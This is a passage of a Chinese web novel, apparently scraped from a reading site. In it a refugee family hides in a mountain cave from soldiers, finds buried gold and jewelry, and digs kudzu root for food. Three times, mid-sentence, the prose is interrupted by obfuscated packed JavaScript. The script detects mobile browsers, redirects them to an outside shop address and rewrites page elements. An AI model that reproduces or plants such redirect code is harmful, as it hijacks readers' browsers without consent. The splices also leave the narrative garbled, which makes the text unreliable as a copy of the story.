不!她绝不允许! 她要试一试,自己若是拼尽全力,到底能走多远,到底能不能笑到最后。 就在这时,许慧道:“你们看,山下那是什么?火光?他们上山来了?!” 众人哪怕没看到,现下被这么一提醒,俱是心头一震,被山下的火光骇的不轻。 “把火把熄了,咱们快往上走,快!!快!!快!!” 岑嫣急忙催促,可前头的董承志却有些不舍,他却也不得不熄灭了火把,声音有些哽咽:“嫣娘,咱们这牛见不着光亮,就走不了了!” 说完,他就长长地叹了口气。 岑嫣有些无奈,道:“爹,咱们现下不是牛能不能见光跑的问题,是咱们能不能活下来的问题,快走吧。留得青山在不愁没柴烧!” 其实,她也明白,都性命攸关了,公爹为何如此执拗。不过是因着庄户人一辈子和耕地牛这些东西打交道,其中的感情自然不是常人能理解并且能够感同身受的。 董承志语气淡淡:“你们先走,我再看一会儿我的牛。” 说着,他就给两头牛解开系在鼻头上面的绳子,随后用力拍了拍牛屁股。 牛儿似乎受惊,在山林里乱窜,直接跑远了。 “老头子!”平时总是和善的许慧,此刻的语气难得凌厉。 几人摸黑往山上爬,这速度自然比之前慢了许多。 忽的,岑嫣因为走的快,没注意脚下,一个不小心就踩空,落入一个洞里。 “哎哟!” “嗷呜。”小黄也跟着叫了一声,他若是能说话,此刻一定会说自己今日真倒霉,连摔两次。 此时,落在后面的董伯年跟了上来,恰好听到妻子的叫唤声和哗啦的摔倒声。 他急忙跑过去,想拉起小妻子,直接就往妻子落下的地方走,没想到却发现里面是一个巨大的洞窟。 岑嫣因着没有防备,直接翻滚下山,身上疼痛极了,手腕似乎刮伤,就连膝盖似乎也撞到了。 她忍着剧烈的疼痛,爬了起来,就发现自己在一个黑漆漆的地方。 小黄凑近她,用舌头舔了舔她受伤的手。 而她身后的董伯年已经拿出一个火折子点燃了火把。 山洞的全貌瞬间被照亮。 “这是一个很大的山洞,咱们可以躲在这。” 火光亮起的那一瞬间,岑嫣也顾不得身上的疼痛,直接让董伯年去外面把人叫进洞里。 就这样,众人全部转移到了洞里,他们看到洞内的景象,也跟着惊掉下巴,这洞也太大了吧? 众人原本低落的气氛,此刻也变得轻松起来。如果那些人没能发现这个山洞,那他们倒是可以保证安全。 为此,董伯年和董仲清直接去洞外收拾洞口,随后仔细伪装成原先的模样。 为了众人的安全,洞内的火把也给灭了,生怕有人发现。 岑嫣照着刚才,一直停留在原地,并没有挪动,她身上有伤,得慢慢缓。她仔细听着山洞外的动静,生怕有一丝错漏。 果然,没过多久,他们就听到山洞附近似乎传来一阵吵闹声。 “真是的,钱没捞到多少,还让咱们干活~”士兵甲有些不耐。 “就是啊,让咱们抓难民 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555208|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去充军,天知道那些难民有多穷?都没啥油水可捞。”士兵乙也颇为认同。 “还不如随便找个地方躺着呢。”说着,那人直接找块地方就躺了下来。 另一人见状,也不管不顾地跟着躺下。 “听说是有人往山上躲了,我搜这么半天,也没见有什么人啊。”士兵甲抬头想看天上的星星,却发现上面被林木的枝条包裹,根本就什么都看不到。 “要我说,这山上就没什么人,即使有人,那也早就跑光了!咱们何必那么卖力呢?” 说完,两人就开始哼哼哈哈地笑了起来。 随后,他们又聊起这次军营里的事情来。 “要我说,咱们这次来这里主要的任务就是突袭青州的营地,随便抓几个难民上去挡箭就得了,哪里需要这么大费周章,晚上还不让人休息。” 说完,他就不屑地把嘴里的草给吐了,又换了一根新的。 “你傻了?白日里做,太过明目张胆,不说青州的守将会发现。就连那些难民,白日里若是得了消息,奋起反抗可如何是好。” 无论是什么时候,军队都犯不着跟难民正面冲突。一方面,没必要损失那么多的兵力;另一方面,难民的数量可比军队里能够派出的士兵多多了。 两人聊了没多久,就往山下去了。 岑嫣和董伯年自然清楚地听到两人的谈话,这两人给出的信息很清楚,青州也要打起来了,这地方恐怕也不安全了,他们得快些离开青州境内才好。 众人几乎躲了一夜。 这一夜,众人都睡不安稳,直到第二日天明,几人这才小心翼翼地探头探脑查看外面的情况,发现外面除了阳光十分晃眼,倒也没有什么特别之处。 为了安全起见,董伯年让众人先在这附近等着,他先下山去看看情况。 众人等了许久,只敢在山洞附近找些野菜。 也是众人运气好,竟然找到一大捧蘑菇,要是此刻有锅,即刻就能熬住菌菇粥。 那味道一定比肉还好吃,要知道,菌子的鲜美,那可是肉都比不上的。 不然,之前怎么会有人因为吃菌中毒却还锲而不舍地尝试不同的菌子? 就在这时,董伯年也回到山上。 “山下没啥人了?” “嗯!” “那咱们快些下山吧!”许慧有些焦急,不知道山下的那些东西怎么样,又没有被人给抢走。 忽的,山洞里传来董繁枝的叫喊声。 “爹娘,哥哥嫂嫂,你们快过来看看!” 众人听到叫喊,心中有些疑惑,但还是往山洞内走去。 刚走进洞内,就看到小黄和董繁枝对着山洞内的墙壁看,而小黄似乎很兴奋,一直在地上刨。 岑嫣满脸黑线,这小黄不会是又发现什么好吃的东西了吧? 最近,她隐约能发现,这小黄自己找食吃的能力挺强大。 可今日这山洞里还能长什么东西不成? 她打量着周围。 因着常年不透光,洞内寸草不生,不像是能长什么东西的模样,而这泥土下面,更不可能有什么动物躲藏。 盯着小黄看了许久,她说不出个所以然。正想着要不要把小黄抱走,她就看到小黄正在挖的地方似乎有什么东西。 21. 第21章 山洞内 晋江文学城首发,请支持正版。 不经意间,她霍然发现了地面和墙壁相接之处似乎有什么。 一道细密的缝赫然显现出来。 “这是?” “小黄?” 岑嫣凑上前去查看,发现那缝隙旁边的石板仿佛有石雕的花纹,她心中暗惊,自昨日夜里她掉入这个洞窟内就感觉很不对劲。 如今一看,这其中恐怕有什么秘密。 众人走上前去查看,发现这一情况,也跟着在旁边挖了一会儿。 果然就发现一大块石板显现了出来,看着上面精心雕刻的花纹,众人觉得有些匪夷所思。 一座大山里,用精心雕刻的石头作地板,这恐怕也太奢侈了吧?哪怕是董家从前也富裕过,但也不曾用这样雕刻好的石头来铺设地面。 岑嫣忽地联想到什么,捡起旁边的石头,走上去敲了敲,发现那块地板传来沉闷的声音。 “是空心!”几人立马反应过来。 看到众人也跟着发现这个事,小黄笑呵呵地摇尾巴。 “咱们试试能不能把这块石板撬开。”岑嫣心道,刚才她猜的果然没错,这底下恐怕有东西。 “哎。”众人虽不知道这石板能不能撬开,或是底下有没有东西,他们总是没来由地信任岑嫣。 要不是岑嫣的提醒,他们怕是昨日都躲不过那群士兵。而且,自从岑嫣嫁到董家之后,董家的日子也越来越好,他们相信,这媳妇身上带有大好的运道。 董伯年这时候也从山下回来了,回来时,还带有一口锅,锅里装了些清冽的山泉水。 他在外面找不到人,被骇了一跳,以为是出了什么事,直接往洞里跑。见到众人都在洞窟内,他这才放下心。 “你们在挖什么?” 董伯年骤然出声,打断了众人原本的进度。 “大郎,你来了?山下可曾有什么情况?” 众人停下动作,稍作歇息。 “约莫没有人了,只看到两个老人的尸体,不知道还有没有多的。咱们的东西被糟蹋得差不多了,那些士兵应当是搜查过一遍,发现咱们昨日藏在草丛里的东西,粮食都给拿走了。” “尸体?那群人可真是畜生!”董承志哪怕活了这么多年,也对此等事感到震惊。 其他人也十分胆寒,更多的应该是恐惧。有人被杀在他们附近,说明他们这里也不一定安全,又或者是接下来的道路都不会安全。 空气中弥漫着一股子不能言说的味道,低沉了没一会儿。 董伯年把锅递给许慧,道:“我想着你们应当是渴了,先喝口水吧,咱们也得快些离开这块地方才好。” 众人被他这么提醒,倒是也反应过来,是啊保命才是最要紧的。 “哎。”许慧给众人分发水,让大家轮着喝。特殊时期,众人熬了一夜,也是渴极,自然不介意跟旁人同用一口锅喝水。 这时的董仲清有些着急,道:“兄长,咱们或许是发现了宝藏!” 不得不说,董仲清倒是聪明了一回。 “宝藏?”董伯年盯着刚才众人挖的那块地方看了一眼,果然发现一块不同寻常的石雕石板。 董仲清这边则是将刚才的事情一五一十地说了,道:“这底下是空的,或许真的有东西也说不定。” 闻言,董伯年也走到石板上敲了几下,果然发现石板下真是空的。 众人这时候也喝好了水,与董伯年一起把石板抬开,抬开的一瞬间,里面就冲出一片黑影,众人连忙躲闪,发现是一群蜜蜂,这才安了心。 蜜蜂之类的昆虫,只要不去招惹,倒是也没有什么大事。就算不慎被蜜蜂蛰了,也不足以致命。就怕是那些不知名的毒物,连解毒都不知道如何解开。 等到蜜蜂密密麻麻地飞走,一条往下的楼梯赫然出现在眼前。 “有密道?!” “这里面会不会有什么妖怪啊?”董仲清想象着从前村里老人说的妖怪都是青面獠牙的,还会抓人吃,可吓人了! 听了他这番言论,年纪最小的董繁枝竟真的被吓住,直接扑到离她最近的岑嫣怀中,岑嫣则抱着董繁枝安抚。 “枝娘不怕,没有妖怪,二哥都是骗你的。再说了,爹娘和哥哥嫂嫂都在呢,咱们会保护你的。”说着,岑嫣扯出荷包里面放着的帕子,帮枝娘擦了擦眼泪。 董仲清其实还想继续说的,只是他此刻正被许慧追着打。 “臭小子,好话不说,什么不好你说什么是吧?我看你就是欠打!” 旁边站着看戏的吴文兰噗嗤地笑了出来,看董二挨打可真有意思。 其他人没空管母子两人的闹剧,探头往那个地下通道望去,只看到黝黑的一片,什么都看不到。 岑嫣抱着已经哄好的董繁枝道:“拿一个火把丢下去试试,若是能好好燃烧,咱们便可以下去看看。” 董伯年经岑嫣这么一提醒,立马点燃一根火把就往地下扔,发现火把烧的很亮,这才放下心往下走。 “这,这就往下走了?”董承志一时间竟没有反应过来。 待他反应片刻,拿了昨夜用的火把,也跟着往下走。 就这样,众人都慢慢跟着往下探去,想要看看这通道之下是什么东西。 等走到底部时,岑嫣就看到地下竟然修了一间屋子,仿佛这里曾经有人住过一般。这屋子修建得精致极了,朱红色的窗棂,仿佛还跟新的一般。 旁边还绘有彩色的梅兰竹菊壁画,陶器上面都绘有繁杂的花纹,更别提那些就连她都没见过的酒杯器具了。 只是,那屋前的小凳上面仿佛积了许多灰尘,说明这房子的主人已经离开很久了。 小黄此刻正乐颠颠地叼着一块蜂蜜啃,也不知道是从哪叼的。 董伯年小心翼翼地推开门,发现里面并没有什么害人的东西,这才放下心来。 忽的,他发现里面竟有几个大箱子。 想着既然来都来了,不如打开看看,不打开不要紧,一打开就发现里面竟然是一整箱的黄金。 董承志跟在后面,也跟着打开另一个箱子,发现里面是各色的宝石玉器。他几辈子都没见过这么多好东西,一时间高兴地竟然要厥倒当场。 还好董伯年眼尖,及时扶住了董承志。 还耐心地嘱咐道:“爹,您可悠着点,站稳了。” 哪知,董承志此时却哭丧着脸:“儿啊,爹腿软了。你快扶我坐到箱子旁边去,我要好好看看这些到底是不是真的。” 跟在后面的岑嫣几人不由地跟着笑,这地下的屋子都修的这么好,这些东西恐怕也不是什么假东西。 岑嫣感叹:“早先小黄挖泥土的时候,我就觉得这地方不对,地下绝对有东西。原先我以为这里是墓葬,没想到竟是藏宝之地,看着这里面的痕迹,估计之前有人在此居住过。” 许慧抱着那些珠宝乐的哭出了声,她长这么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555209|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大还真没摸过翡翠玉石这些首饰呢,没想到今日一日就过足了瘾。 她忙眉眼弯弯地伸手招呼岑嫣:“嫣娘,多亏了你,咱们才有这么好的运道,你快过来,看看有什么喜欢的,也帮我也挑一挑。” “哎。”岑嫣嘴角略弯,就带着董繁枝走了过去。 她从前可是富裕过的,自然有那辨认首饰的眼力见。只是,这箱子里的首饰都不是凡品,随便一个东西拿出去,都能作为传家宝传给子孙的程度。 但,不同年龄段的人戴的首饰也不一样,她拿起一只翠影婆娑的翡翠玉镯道:“您戴这个,这个衬您的气色。” “哎。”许慧直接拿着在手上比了比,发现这翡翠的颜色透亮,放在手腕旁边,她都觉得手腕好看了许多。 董繁枝也挑了一个鸽子蛋大小的红宝石项链,又挑了一串珍珠手串,不断地把玩比对。 就连一向咋咋呼呼的吴文兰也跟着在里面翻找起来。 岑嫣打量着周围的环境,看着面前的这几个大箱子,却升起了浓浓的担忧。 “哎,可惜了这些东西,咱们根本带不走这么多物件。” 是啊,这么多好东西,哪怕是太平时候,都不能保证安全运送,何况是现在动乱的州府。匹夫无罪怀璧其罪,若是到时候不小心暴露出来,恐怕这些东西就会成为他们的催命符。 岑嫣的这些话,也冲散了众人的喜悦。他们一改之前的喜气洋洋,变得萎靡不振起来。 空气也变得异常安静。 “咕噜,咕噜。”一道不和谐的声音响起。 董仲清有些不好意思:“咱们昨夜到现在还没吃饭呢......呵呵,有点饿。” 众人这时候也跟着感觉到腹中的饥饿,他们的确饿了许久。 董伯年道:“咱们先出去吧,先填饱肚子再说,之后再商量今后该如何。” “嗯。”众人默默点头,跟着出去。 当然,是顺了几块金子玉器出去的。 因着粮食都被抢了,董承志只好去附近碰碰运气,看看能不能抓些猎物,其他人则去山下打水,想煮早上捡的菌子。 想着昨日遇到的事,岑嫣先让董仲清和董承志去周围看看,怕再有人过来。毕竟煮东西可是要烧许久的火,远远看到烟雾,他们这里就容易暴露。若是真有人的痕迹,他们只能在附近摘野果充饥。 父子两人去周围巡视了一遍,除了看到几具尸体,再无其他。 “今日真奇怪,一点难民的踪迹都没看到。” 要知道,往日里,这路上也多多少少会有难民经过,毕竟后面来的难民那么多。 岑嫣听后,没说什么,沉默了片刻,才沉声道:“恐怕有人从源头上就开始抓难民,咱们这块地方也乱了。” 不然,那些人怎么这么费力来抓难民? 免费的且容易获取的战争资源,只有打起来了,上位者才会要得急,抓的快。那些可是现成的士兵,在人口兵力并不多的时候,打仗就是在拼数量。 想到这里,她道:“咱们还是等入了夜再煮东西吃吧,现在先去附近摘些野果充饥。” “哎。”众人应下。 没一会儿,小小的董繁枝拿着一把海带过来。 “嫂嫂,那些坏蛋没有把海带抢走,只是踩了几脚。” 许是因为不认识这东西,那些士兵只挑重要的粮食和金银拿。那些人并不认识海带,所以这海带才能幸免于难。 22. 第 22 章 “夭寿的玩意!” 许慧边一边收拾东西,一边把那昨夜那群士兵的祖宗全都给问候了一遍。 “这能用的东西还有多少哟?这锅都给踹坏了。还有咱们这车,还被刀砍坏了一部分。最重要的是,咱们的粮食全没了啊!” 这可是他们这一大家子全部的口粮,难道他们真的会因为没有粮食而饿死在这道上吗? 早晨发现金银宝石的兴奋劲头一扫而空,全部变成了失落。 许慧忍不住哭了起来。 岑嫣等人见状,忙上前安慰起她来。 “娘,车到山前必有路,咱们一定能挺过去的。这不是还有海带吗?再说了,夫君已经去山上打猎了,许是待会夫君运气好,咱们再过一会儿就能有猎物吃了。” “就是啊,老婆子,咱们刚成亲那会儿,不也是时常吃不饱?咱们不照样活过来了吗?” 他跟许慧都是父母早亡的孩子,经媒婆介绍结为夫妻。起初两人可都是没有田地的,董家家里的田地,那可都是两人一起挣下的。 他们不仅好好的活下来了,还生了好几个孩子,这也不失为一种大本事了。 旁人还想说点什么,许慧跟柴点了火似的,瞪了一眼董承志。 “你也知道是咱们当初!现在怎么能一样?!” 提起这个,许慧就来气。 当初她们刚成亲那会儿,没有父母的帮衬,可把她累的。她都不想提当初,那段时日真的太苦了,好在大郎懂事,刚会走就知道帮忙做家务分担。 等他再大一些的时候,,就知道跟着村里独居的老猎户去学习捕猎,最后竟还跟着去学堂读起了书。 这个大儿子是她这一生中最大的骄傲,因着大儿子,她总算是在村里扬眉吐气了一回! 要知道,就是因为没有父母公婆的帮衬,村里人背地里可时常笑话她,有时候还会被菜地隔壁的村里人占去一部分菜地。 为此,她也从娇娇弱弱的小娘子变成凶悍的村妇,而董承志总是那副样子,也不会上门讨公道,说是一个村的,不好闹的僵。 因着那些乌七八糟的事,她那些年可生了不少的闲气。 可,那时候再怎么不好过,也都是太平年月。再不济还能去做工挣些吃食。 如今在这山里,哪怕有金银,他们还能去外面买?若是一个不好,再遇上那群兵匪,他们恐怕都活不下来。 为今之计,只能说吃些野菜野果,要不然就是大郎那里如果能寻些猎物回来,他们也能勉强填饱肚子。 只是,当初在家时,大郎也不是时时都能带猎物回来,总有空手的时候。到那时,他们这一大群人该怎么办? 越想就越忧心,说到底还是干粮才能撑着他们走下去。没有粮食,每日吃野菜野果充饥,她真怕一家人饿死在路上。 “唉!”董承志不敢再说,只长长的叹口气,不再说话。 岑嫣见状,对着许慧道:“娘,咱们现在最紧要的事,还是找些吃食度过今日。昨日我能遇上桑葚,想必这附近的野果估计不少,大家都到处找找。我待会把这海带洗好,晚些时候夫君若是能带些猎物回来,咱们就拿海带一起煮汤。” “嗯,你说的是。”许慧也不是那等矫情的人,立马就带着几人分散开,准备找些野果野菜。 昨日的桑葚已经没有了,约莫是被人捡了吃,岑嫣惋惜地叹了口气。 董承志想着昨日在山上丢下的牛,总觉着那牛或许不会被人拉走,能逃过一劫。他面色凝重地往山上去,说是跟着董伯年看看能不能帮着搭把手捉些猎物。 找出木盆,再将海带放入水中泡,等海带泡发之后,岑嫣则把盆里的水泼了,去旁边找一些碎泥巴放入木盆中,咬牙把泥巴和海带混着搓洗。 刚泡发的海带有韧性,上面附着一些黏黏的脏东西,通过泥巴的摩擦已经冒出许多黏密的泡泡。她反复揉搓,像是在洗衣裳似的。 若在往常,只需要用家中的草木灰或是盐巴搓洗便可。今日这附近只有泥巴容易获取,只是泥巴摩擦手部要粗糙些,岑嫣没洗一会儿,手就变得红红的。 若是寻常不沾阳春水的小娘子来洗这东西,指定要被这泥巴磨破手指。 岑嫣搓洗许久之后,终于是觉着这海带洗干净了,直接就着木盆从水井内舀水,随便搓洗一下,把水倒掉。如此反复把泥巴冲洗掉,最后把海带洗的干干净净。 此刻,她其实已经饥肠辘辘,望着不远处斜坡边正在挖东西的吴文兰和董仲清,她好奇地走过去查看。 刚走近,就看到两人互相打配合,哼哧哼哧地往下挖。满地都是黄泥,岑嫣踩到那些有些湿润的黄泥,有些都会沾到她鞋底上,难受极了。 “文兰,你们在挖什么啊?” 倏地,她眼角余光瞥见两人挖的东西是一根长长的藤蔓,而那藤蔓上的叶子,赫然就是她昨日采摘桑葚时用来垫着的大绿叶子。 那叶子绿油油的,三片三片的叶子连在一块,匍匐在这周围,仿佛这里全长着这种藤蔓植物。 就在这时,吴文兰抽空回答岑嫣。因着一日没吃饭,她面色有些憔悴,嘴唇有些苍白,说话的声音也比往常弱了一些。 “这是葛根,嚼起来有很多粉,能当粮食充饥。” “葛根?” 从前她倒是吃过冲泡的葛根粉,晶亮粘稠,听说是能美容养颜。有一段时日,城中贵妇人们中还掀起了一阵食用橘酿葛根粉美容养颜的浪潮。 “原来葛根长这样?从前只是听说过,见过白色的葛根粉末,倒是不曾见过山上挖的葛根如何呢。” “葛根粉?那倒是有些麻烦,我们那里的人从山上挖出来就直接洗好拿去煮了,之后便能切成小块拿给小孩嚼着吃,那味道就跟吃糯米似的。” 听着吴文兰的描述,岑嫣也有些好奇,她记得葛根粉的味道十分寡淡,需要加一些糖或是其他东西才能不那么寡淡,原本的葛根真的好吃吗? 董仲清挖得气喘吁吁地,终于把葛根的一部分挖了出来,黄泥附在一大块椭圆形的块根上面,而那块根很大很大。 “不挖了,挖不动了,昨儿都没吃饭,实在是挖不动了。” 说着,董仲清就一屁股坐在旁边的草堆上。 “我来挖一会儿。”岑嫣接过锄头就开始挖,吴文兰则用木棍在旁边刨泥巴。 两人就这样相得益彰地配合着。 不知过了多久,岑嫣的额角冒出细密的汗珠。 休息好的董 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14555210|155419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仲清此刻也有些不好意思,伸出手:“嫂嫂,我接着来挖吧,你歇着吧。” “哎。” 岑嫣此时自然累极,也不跟他客气,立马就把锄头放到他手里。 三人就这般哼哧哼哧地挖了许久,许慧带着董繁枝去山上采摘野果回来了,见到三人在挖东西,把野果随意洗了装在篮子里提着走。 而采摘的野菜则放在水潭边,直接带着董繁枝过去看几人。 “你们挖什么呢?” 三人听到许慧的声音,立马回头笑:“娘(婶子)!” “哎,我今日运气好,采了一些野山山杏和地石榴,我刚在下面的水潭那洗干净了,你们饿了吧,先吃些填肚子吧?” 说着,她就把篮子放在旁边,走上前去查看几人挖坑的地方。 “好。” 三人也觉得有些累,停下手中的动作,往篮子旁边走去,坐到旁边休息。 几人看了看自己满是泥巴的手,有些踌躇,他们总不能直接混着泥巴吃吧? 虽然他们现在饿,但也没饿到那种程度。若是他们下去水潭边洗手,又费力又费功夫,若是不吃他们又饿又渴。 还是董繁枝察觉几人的囧状,上前道:“你们手上都是泥巴,我来喂你们吧。” 说着,她踏着小步子在三人之间来回穿梭。 饿极了的三人,骤然吃到清甜的果子,果子带着一股子特有的香气,似花香,粘稠的汁液在口中爆开,既清甜又解渴。 “好吃,枝娘,多给我几颗!”董仲清想,从前他怎么没觉得这果子这么好吃呢? “我也要,枝娘,快给我一颗地石榴,好甜。”吴文兰也不甘落后。 “快给嫂嫂一颗,好香啊,这果子。” 一时间,三人竟然开始在董繁枝面前争宠。 就在这时,身后传来许慧的声音。 “呀,你们这是挖草根呢?”许慧有些疑惑,虽说她担心大家今后没吃的,但也犯不上费力气去挖草根啊。 岑嫣和董仲清不知道如何解释,只看向吴文兰。 “婶子,这不是草根,是葛根,拿来煮的话,是可以充饥的。” 说着,吴文兰把葛根的事情给许慧解释了一遍,许慧连连点头,想着若是这东西也能填肚子充饥的话,或许他们之后的几天是不用忧心的。 “行,你们到底不是常年干活的,力气小些,我也挖一会儿。” 说着,许慧拿起锄头就开始挖,因着常年干农活,再加上刚才她在山上吃了些野果,此刻她把锄头挥的虎虎生风。没多久,整个葛根竟然全都显露出来了。 “呀,这葛根真大,估计在这里长了不少年份了。”吴文兰忍不住叹道。 许是这一带比较偏僻,人迹罕至,再加上能走到这里的人也不一定能够认识葛根,所以这葛根才能在这里生长的那么好。 “待会儿拿去潭水边洗干净,再把这个葛根分成小块放锅里煮,咱们就可以吃了。” 众人眼里都闪过一抹喜色,虽然没了粮食,但靠山吃山,天无绝人之路。 看着太阳渐渐西落,天色也渐渐暗了下来。 董承志也乐呵呵地跑下了山,随着他一起下山的还有一头老牛。 23. 第23章 开水烫的小男孩 “老婆子,牛找回来了!” 隔着老远,董承志就嗷嗷地在那叫喊。 正在搬葛根下坡的许慧远远的竟真瞧见董承志赶着牛下山,她心中也十分欢喜,只是她现在可没忘了大家是什么情形。老头这般嚎,若是那些兵匪就在附近,那可不就把那些人给招来了吗? “你快闭嘴吧!”许慧此刻真想一巴掌抽到董承志脸上去,都一把年纪的人了,还跟个孩子似的。 她吼完了之后,又看了看不远处的大道,发现没有人之后才放下心来。 董承志被当着这么多人的面吼,也有些委屈,随后就转为愤然。能找回牛,他不知道多高兴,这老婆子怎么泼他冷水? 随后就开始嘟嘟囔囔:“闭嘴?我此刻恨不得仰天长笑。” 到底,他还是老老实实地闭嘴了,只侍弄起牛来。 今日他也是运气好,到山上去找,还真就碰运气找到了一头牛,另一头牛也不知道去哪了,许是被那些兵匪们给抢走了,又或是走进深山让野兽吃了。 不过,他能找回一头牛,心里就很满足了。 看了一眼不远处在洗草根的许慧,他冷哼,今日心情好,就不同她计较了。 水潭之上的山泉水哗啦啦地往下流,叮铃叮铃,叮咚叮咚,构成一曲天然的乐章。岑嫣等人一起蹲在水潭旁边用清凉的山泉水洗葛根,感觉整个人都凉爽惬意了不少。 这葛根不好洗,不知道咱们刷子放在哪了,刚才收拾东西的时候,岑嫣隐约记得好似没见过刷子。 “你们先洗着,我去找找看。” 说完话,岑嫣直接往杂物堆去,早上她们只收拾出来一部分,还有一部分东西还没收拾。她扫了一眼早上收拾出来的东西,之后直接就翻找起没收拾过的杂物堆。 她先是找到平日里拿来洗碗的丝瓜络,想着等会儿若是没找到猪毛刷子,这个倒是也可以凑合用。之后她看到被踩成两截的木锅铲,心中叹息,昨夜那些人哪怕被称之为土匪也不为过。 平日里估计都是在街头鬼混的流氓地痞,违法乱纪,无恶不作,如今打起仗来倒是更加助长了他们的气焰,残害百姓。 不过,她们虽然被毁了这些用具,也算因祸得福,竟在山上发现那些财物。若是真能逃出这里,找一个相对安全的城镇,粮食之类的东西或许可以再买回来。 她继续翻找着可用的器具,终于发现猪毛刷子,只是那刷子似乎被踩过,之后又被压在重物之下,已经有些变形了。 “或许还可以用。” 岑嫣把丝瓜络,压坏的猪毛刷子,还有缺了齿的菜刀拿到水潭边。 此时的葛根已经被粗略洗掉了一层黄泥,水潭里渗透黄泥水,原本幽绿清澈的潭水直接被染成黄色。 小黄这时候不知道从哪个草丛窜出来,对着众人摇着尾巴,就直直地到潭水边喝水。 岑嫣刚想把小黄赶走,不让他喝浑浊的黄泥水,就看到小黄直直的到泉水源头去喝水。 许慧正搓洗葛根呢,就看到小黄走过来喝水,她忍不住夸: “呀,这小黄还挺聪明的,跟人一样爱干净。” 要知道,从前在村里时,村里的狗都不大讲究,见到村里臭水沟,或是雨后路边出现的水坑,就上去直接喝。 “是哩,这狗确实聪明。”其他人也跟着附和,想到前两日小黄带着岑嫣捡的鸡蛋,虽说大家都没吃到,但还是有本事的。 岑嫣也笑道:“那日夜里,那只大黄狗看着瘦骨嶙峋的,毛色似乎也有些发白。我后来去附近找,竟没找到,许是那大黄狗知道自己的寿寿数到了,才把狗交给我吧。” 现在想想,那大黄狗也是十分有灵性的。都说龙生龙凤生凤,老鼠的儿子会打洞。 小黄的聪明劲估计是跟大黄狗学的。 说着,岑嫣又凑上前,给几人递上刷子和丝瓜络,自己则开始用菜刀开始把葛根分块。 “呀,这刷子怎么变成这样了,还有那菜刀?” 许慧心疼地望着这些物件,感觉心口抽抽地疼。 随后她也不等岑嫣回答,就道:“那些天杀的玩意儿就该断子绝孙,倒八辈子霉才好。” 倒霉? 岑嫣想,已经开始打仗了,在这乱了的世道,恐怕心越狠的人才不会倒霉。 他们奸淫掳掠,被残害的男人没了命,被迫害的女人许是会怀上孽种,或许还子子孙孙繁荣昌盛呢。 怎么会断子绝孙? 不够狠,或许根本就无法在这世道活下去。 岑嫣越想,脑子就越不舒服,索性也不去想那么多,专心地砍葛根。 她力气不够大,再加上菜刀缺了口,根本就不锋利,她砍葛根的速度也慢了下来。 才分了几块,许慧就夺过菜刀:“我来砍吧,要快些,你用刷子把这些小块的葛根慢慢刷干净吧。” “哎。” 岑嫣乖巧地接过刷子,她的确不太适应这些比较费力的活计。 猪毛刷子因着有些歪,刷起葛根外皮来,阻力很大,需要重复刷很多次才能干净,她刮了一遍又一遍。 吴文兰则跟董仲清用丝瓜络慢慢磨葛根外皮,倒也洗的像模像样,就是手被搓的通红。 董繁枝跟在后面打下手,帮忙挪动东西,既然搭配着干,倒也相得益彰。 只有董承志望着不远处的山,不知道在想什么。 等到天色渐暗,几人洗到手脚发酸,董伯年也回来了。 他今日运气很好,带回来三只野鸡和一只半大的野猪。 众人见天色全暗下来,才开始生火,柴是白日里董承志捡好的。 饿了整整一日的几人,此刻浑身难受,但想到等会儿就能吃上肉,心里那股子兴奋劲上来,身子也就减轻了许多疲乏。 众人分工合作,很快便将猎物处理好,直接架上三个火堆,一个火堆烤野猪,一个火堆拿来煮鸡菌汤,另一个则拿来煮葛根。 原本董家带了三口锅,被打坏了两口,还是董仲清想到昨夜也有另外几处难民待的地方,或许能有锅。 几人去附近找,果真找到了一口没被砸坏的锅,只看着有些歪,倒是勉强能用。 火堆烧着火,除去烤野猪的火堆需要注意火势,另外两个火堆加的柴格外多些,众人想早点吃上东西,此刻已经饿极。 众人百无聊赖地等着,董承志此刻忍不住说起今日去山上找牛的事情,他已经被憋闷一下午了,若是再不说出来,真要憋死了。 “我今日上山,原本是想着找伯年,顺道碰碰运气能不能找着牛,最后果真让我在山另一边的斜坡上看到了牛的踪迹,那时候牛正在吃草,还好我过去了。” 董承志描述起他找牛之路的艰辛,那可真跟爬长城差不多,他爬了两个山头才看到牛。 忽的,他话锋一转,又道:“你们猜猜,我在路上看到了啥?” 因着众人都在听他说话,此刻他竟停下了,恰好不远处的山里传来几声“咕咕”的鸟叫声,还有不知名动物的凄厉叫声。 配上此刻幽幽的黑夜,凉风也恰好吹过,众人感觉有些瘆得慌。 他们顺着董承志的话问:“看到了啥?” 总不能比他们在山洞里发现宝物更令人惊奇吧? 许慧也瞪了他一眼:“孩儿他爹,别卖 